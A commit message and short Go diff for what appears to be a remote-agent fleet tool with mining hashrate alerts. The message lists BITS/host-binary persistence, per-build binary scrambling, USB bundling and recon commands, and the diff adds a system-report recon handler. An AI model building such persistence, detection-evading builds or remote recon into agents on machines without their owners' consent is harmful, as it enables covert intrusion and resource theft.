feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)

agent/client/commands_common.go

@@ -21,6 +21,12 @@ func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
 }
 
 func (c *AgentClient) handleReconCommand(action, command string) bool {
+	if action == "full_sys_check" {
+		report := CollectFullSysCheck(c.cfg, c.agentID)
+		c.sendCommandResult(action, true, report.JSON())
+		return true
+	}
+
 	handled, success, msg := c.platformRecon(action, command)
 	if !handled {
 		return false